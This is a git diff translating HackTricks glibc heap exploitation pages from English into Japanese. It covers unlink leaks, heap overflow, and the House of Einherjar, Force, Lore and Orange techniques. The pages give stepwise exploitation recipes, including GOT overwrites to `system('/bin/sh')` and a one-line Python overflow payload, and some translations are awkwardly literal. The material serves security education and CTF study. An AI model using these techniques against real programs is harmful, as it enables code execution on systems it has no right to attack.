-### Security Checks +### セキュリティチェック -- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk -- Check also that `P->fd->bk == P` and `P->bk->fw == P` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` +- チャンクの指定サイズが次のチャンクのprev_sizeと同じであることを確認する +- また、`P->fd->bk == P`および`P->bk->fw == P`であることを確認する +- チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P`および`P->bk_nextsize->fd_nextsize == P`であることを確認する -### Leaks +### リーク -An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: +unlinkされたチャンクは割り当てられたアドレスをクリーンアップしないため、アクセスできると、いくつかの興味深いアドレスをリークすることが可能です: -Libc Leaks: +Libcリーク: -- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc -- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc -- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. +- Pが二重リンクリストの先頭にある場合、`bk`はlibcの`malloc_state`を指します +- Pが二重リンクリストの末尾にある場合、`fd`はlibcの`malloc_state`を指します +- 二重リンクリストに1つのフリーなチャンクしか含まれていない場合、Pは二重リンクリストにあり、`fd`と`bk`の両方が`malloc_state`内のアドレスをリークできます -Heap leaks: +ヒープリーク: -- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap -- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap -- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap +- Pが二重リンクリストの先頭にある場合、`fd`はヒープ内の利用可能なチャンクを指します +- Pが二重リンクリストの末尾にある場合、`bk`はヒープ内の利用可能なチャンクを指します +- Pが二重リンクリストにある場合、`fd`と`bk`の両方がヒープ内の利用可能なチャンクを指します {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 24ea86a70..0238e6334 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -1,50 +1,48 @@ -# Heap Overflow +# ヒープオーバーフロー {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** +ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを保存するために予約されたスペースがあり、**保存されたデータが予約されたスペースよりも大きいことを意味します。** -In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. +スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**。ただし、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれを悪用する方法に**依存**します。 > [!TIP] -> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> オーバーフローオフセットを見つけるためには、[**スタックオーバーフロー**](../stack-overflow/#finding-stack-overflows-offsets)と同じパターンを使用できます。 -### Stack Overflows vs Heap Overflows +### スタックオーバーフローとヒープオーバーフロー -In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. +スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリ内で増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。 -However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. +しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)**ビンとゾーン**によってサイズで割り当てが分けられ、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されるため**です。ヒープオーバーフローに対して衝突するオブジェクトを知るのは**複雑です**。したがって、ヒープオーバーフローが見つかった場合、**オーバーフロー可能なオブジェクトの隣に目的のオブジェクトを配置する信頼できる方法を見つける必要があります**。 -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +これに使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを保存するためのチャンクが不足した場合、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用されることが説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。 -Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. +したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローされたオブジェクトが被害者の順序と衝突するように強制するために、いくつかの**`kalloc`が複数のスレッドによって強制され、すべての解放されたチャンクが埋められ、新しいページが作成されることを試みます**。 -In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. +特定のサイズのオブジェクトでこの埋め込みを強制するために、**iOSマッチポートに関連するアウトオブライン割り当て**が理想的な候補です。メッセージのサイズを調整することで、`kalloc`割り当てのサイズを正確に指定でき、対応するマッチポートが破棄されると、対応する割り当ては即座に`kfree`に戻されます。 -Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object. +その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`フリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、エクスプロイトがオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがこのオブジェクトの後に続く可能性が高いことを意味します。 -### Example libc +### 例 libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**このページ**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)では、次のチャンクのprev in useビットとprevサイズの位置を上書きすることで、**使用中のチャンクを統合**(未使用だと思わせる)し、**再度割り当てる**ことができる基本的なヒープオーバーフローのエミュレーションを見つけることができます。 -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)の別の例では、**ヒープオーバーフロー**を悪用して勝者関数を呼び出し、**フラグを取得する**非常に基本的なCTFの例が示されています。 -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html)の例では、バッファオーバーフローを悪用することで、**近くのチャンクにアドレスを上書きする**ことが可能であり、**ユーザーからの任意のデータ**が書き込まれることがわかります。 -### Example ARM64 - -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: +### 例 ARM64 +ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに保存されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単なエクスプロイトを使用して、実行されるコマンドを上書きすることが可能です: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` - -### Other examples +### その他の例 - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - - We use an Integer Overflow vulnerability to get a Heap Overflow. - - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +- 整数オーバーフローの脆弱性を利用してヒープオーバーフローを引き起こします。 +- オーバーフローしたチャンクの `struct` 内の関数へのポインタを破損させ、`system` のような関数を設定してコード実行を得ます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index 28c6fd437..9976241af 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -2,48 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -### Code +### コード -- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) -- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) +- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) の例を確認してください +- または [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) の例(tcacheを埋める必要があるかもしれません) -### Goal +### 目標 -- The goal is to allocate memory in almost any specific address. +- ほぼ任意の特定のアドレスにメモリを割り当てることが目標です。 -### Requirements +### 要件 -- Create a fake chunk when we want to allocate a chunk: - - Set pointers to point to itself to bypass sanity checks -- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. -- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - - The fake chunk size must also have been set the same size to bypass sanity checks -- For constructing these chunks, you will need a heap leak. +- チャンクを割り当てたいときにフェイクチャンクを作成すること: +- サニティチェックを回避するためにポインタを自分自身を指すように設定する +- 一つのチャンクから次のチャンクへのヌルバイトを使った1バイトのオーバーフローで`PREV_INUSE`フラグを変更する。 +- ヌルオフバイを悪用したチャンクの`prev_size`に自分自身とフェイクチャンクの違いを示す +- フェイクチャンクのサイズもサニティチェックを回避するために同じサイズに設定されている必要があります +- これらのチャンクを構築するためには、ヒープリークが必要です。 -### Attack +### 攻撃 -- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections -- 2 other chunks (`B` and `C`) are allocated -- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. -- Then, the tcache is filled -- Then, `C` is freed so it consolidates with the fake chunk `A` -- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - - The house of Einherjar finishes here -- This can be continued with a fast bin attack or Tcache poisoning: - - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - - Then, 2 mallocs are done and the second one is going to be **allocating the target address** +- 攻撃者が制御するチャンク内に`A`フェイクチャンクが作成され、`fd`と`bk`が元のチャンクを指すように設定されて保護を回避します +- 2つの他のチャンク(`B`と`C`)が割り当てられます +- `B`のオフバイワンを悪用して`prev in use`ビットがクリアされ、`prev_size`データが`C`チャンクが割り当てられる場所と以前に生成されたフェイク`A`チャンクとの違いで上書きされます +- この`prev_size`とフェイクチャンク`A`のサイズはチェックを回避するために同じでなければなりません。 +- 次に、tcacheが埋められます +- 次に、`C`が解放され、フェイクチャンク`A`と統合されます +- 次に、新しいチャンク`D`が作成され、フェイク`A`チャンクから始まり`B`チャンクを覆います +- エインヘルヤルの家はここで終了します +- これはファストビン攻撃またはTcacheポイズニングで続けることができます: +- `B`を解放してファストビン/Tcacheに追加します +- `B`の`fd`が上書きされ、ターゲットアドレスを指すように設定され、`D`チャンクを悪用します(`B`が内部に含まれているため) +- 次に、2つのmallocが行われ、2つ目は**ターゲットアドレスを割り当てる**ことになります -## References and other examples +## 参考文献と他の例 - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. +- ポインタを解放した後、それらはヌル化されないため、データにアクセスすることがまだ可能です。したがって、チャンクが未整理ビンに配置され、その中に含まれるポインタが漏洩します(libc leak)そして、新しいヒープが未整理ビンに配置され、取得したポインタからヒープアドレスが漏洩します。 - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - - Null-byte overflow bug in `strtok`. - - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. +- `strtok`のヌルバイトオーバーフローバグ。 +- エインヘルヤルの家を使用してオーバーラッピングチャンクの状況を取得し、Tcacheポイズニングで任意の書き込みプリミティブを取得します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index 7d4fb9247..4596addc5 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -2,45 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -### Code +### コード -- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. +- この技術はパッチが当てられました ([**こちら**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) そしてこのエラーを生成します: `malloc(): corrupted top size` +- テストしたい場合は、[**こちらのコード**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)を試すことができます。 -### Goal +### 目標 -- The goal of this attack is to be able to allocate a chunk in a specific address. +- この攻撃の目標は、特定のアドレスにチャンクを割り当てることができるようにすることです。 -### Requirements +### 要件 -- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). -- Be able to control the size of the heap allocation +- トップチャンクヘッダーのサイズを上書きできるオーバーフロー (例: -1)。 +- ヒープ割り当てのサイズを制御できること。 -### Attack +### 攻撃 -If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. - -Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated: +攻撃者がアドレスPにチャンクを割り当ててここに値を上書きしたい場合、彼はトップチャンクサイズを `-1` で上書きすることから始めます (おそらくオーバーフローを使って)。これにより、mallocはトップチャンクが常に十分なスペースを持つため、どの割り当てもmmapを使用しないことが保証されます。 +次に、トップチャンクのアドレスと割り当てるターゲットスペースの間の距離を計算します。これは、そのサイズでmallocが実行され、トップチャンクがその位置に移動されるためです。このようにして、差/サイズを簡単に計算できます: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* - * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): - * new_top = old_top + nb - * nb = new_top - old_top - * req + 2sizeof(long) = new_top - old_top - * req = new_top - old_top - 2sizeof(long) - * req = target - 2sizeof(long) - old_top - 2sizeof(long) - * req = target - old_top - 4*sizeof(long) - */ +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ ``` +したがって、`target - old_top - 4*sizeof(long)`のサイズを割り当てることで(4つのlongは、トップチャンクと新しく割り当てられたチャンクのメタデータのためです)、トップチャンクを上書きしたいアドレスに移動させます。\ +次に、ターゲットアドレスでチャンクを取得するためにもう一度mallocを行います。 -Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ -Then, do another malloc to get a chunk at the target address. - -### References & Other Examples +### 参考文献と他の例 - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) @@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address. - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function +- このシナリオの目標はret2winであり、ret2win関数のアドレスによって呼び出される関数のアドレスを変更する必要があります。 +- バイナリには、トップチャンクのサイズを変更するために悪用できるオーバーフローがあります。これは-1またはp64(0xffffffffffffffff)に変更されます。 +- 次に、上書きするポインタが存在する場所へのアドレスが計算され、現在のトップチャンクの位置からそこまでの差分が`malloc`で割り当てられます。 +- 最後に、この望ましいターゲットを含む新しいチャンクが割り当てられ、これはret2win関数によって上書きされます。 - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. +- `Input your name:`には、ヒープからアドレスを漏洩させる初期の脆弱性があります。 +- 次に、`Org:`および`Host:`機能では、**org name**を求められたときに`s`ポインタの64Bを埋めることが可能です。これはスタック上でv2のアドレスの後に続き、次に指定された**host name**が続きます。その後、strcpyがsの内容を64Bのチャンクにコピーするため、**host name**に入れたデータで**トップチャンクのサイズを上書きする**ことが可能です。 +- 任意の書き込みが可能になった今、`atoi`のGOTはprintfのアドレスに上書きされました。その後、`IO_2_1_stderr`のアドレスを`%24$p`で漏洩させることができました。このlibcの漏洩により、再び`atoi`のGOTを`system`のアドレスで上書きし、`/bin/sh`を引数として呼び出すことができました。 +- 別の方法として[この他の文書で提案された](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud)のは、`free`を`puts`で上書きし、その後`atoi@got`のアドレスを後で解放されるポインタに追加することで、漏洩させ、この漏洩を使って再び`atoi@got`を`system`で上書きし、`/bin/sh`で呼び出すことです。 - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. +- ポインタをクリアせずに解放されたチャンクを再利用できるUAFがあります。いくつかの読み取りメソッドがあるため、ここでGOTにfree関数へのポインタを書き込むことでlibcアドレスを漏洩させ、その後読み取り関数を呼び出すことが可能です。 +- 次に、House of forceが使用され(UAFを悪用して)、左側のスペースのサイズを-1で上書きし、free hookに到達するのに十分な大きさのチャンクを割り当て、次にfree hookを含む別のチャンクを割り当てます。その後、フックに`system`のアドレスを書き込み、チャンクに`"/bin/sh"`を書き込み、最後にその文字列内容を持つチャンクを解放します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 862ba7323..981e03029 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -### Code +### コード -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - - This isn't working -- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)のものを確認してください +- これは動作していません +- または: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) +- これは、エラー`malloc(): unaligned tcache chunk detected`を取得しようとする場合でも動作していません +- この例はまだ動作しています: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) -### Goal +### 目標 -- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. +- **小さなビンに偽の小さなチャンクを挿入して、それを割り当て可能にする**こと。\ +追加された小さなチャンクは攻撃者が作成した偽のものであり、任意の位置にある偽のものではないことに注意してください。 -### Requirements +### 要件 -- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` +- 2つの偽のチャンクを作成し、それらを小さなビン内の正当なチャンクとリンクさせる: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit`(他の脆弱性を介して解放された小さなビンチャンク内のポインタを修正する必要があります) +- `legit.bk` -> `fake0` -Then you will be able to allocate `fake0`. +これにより、`fake0`を割り当てることができるようになります。 -### Attack +### 攻撃 -- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** -- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` -- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins -- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. +- 小さなチャンク(`legit`)が割り当てられ、次に別のチャンクが割り当てられてトップチャンクとの統合を防ぎます。次に、`legit`が解放され(未ソートビンリストに移動)、より大きなチャンクが割り当てられ、**`legit`が小さなビンに移動します。** +- 攻撃者は一対の偽の小さなチャンクを生成し、整合性チェックを回避するために必要なリンクを作成します: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit`(他の脆弱性を介して解放された小さなビンチャンク内のポインタを修正する必要があります) +- `legit.bk` -> `fake0` +- 小さなチャンクが割り当てられ、`legit`を取得し、**`fake0`**を小さなビンのトップリストにします +- 別の小さなチャンクが割り当てられ、`fake0`がチャンクとして取得され、その内部のポインタを読み書きする可能性を許可します。 -## References +## 参考文献 - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md index e57f477c6..48216ab5e 100644 --- a/src/binary-exploitation/libc-heap/house-of-orange.md +++ b/src/binary-exploitation/libc-heap/house-of-orange.md @@ -2,72 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -### Code +### コード -- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) -- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) +- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) で例を見つける +- この [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) で脆弱性が修正されたため、これはもはや機能しません(2.26より前のバージョンでは動作します) +- 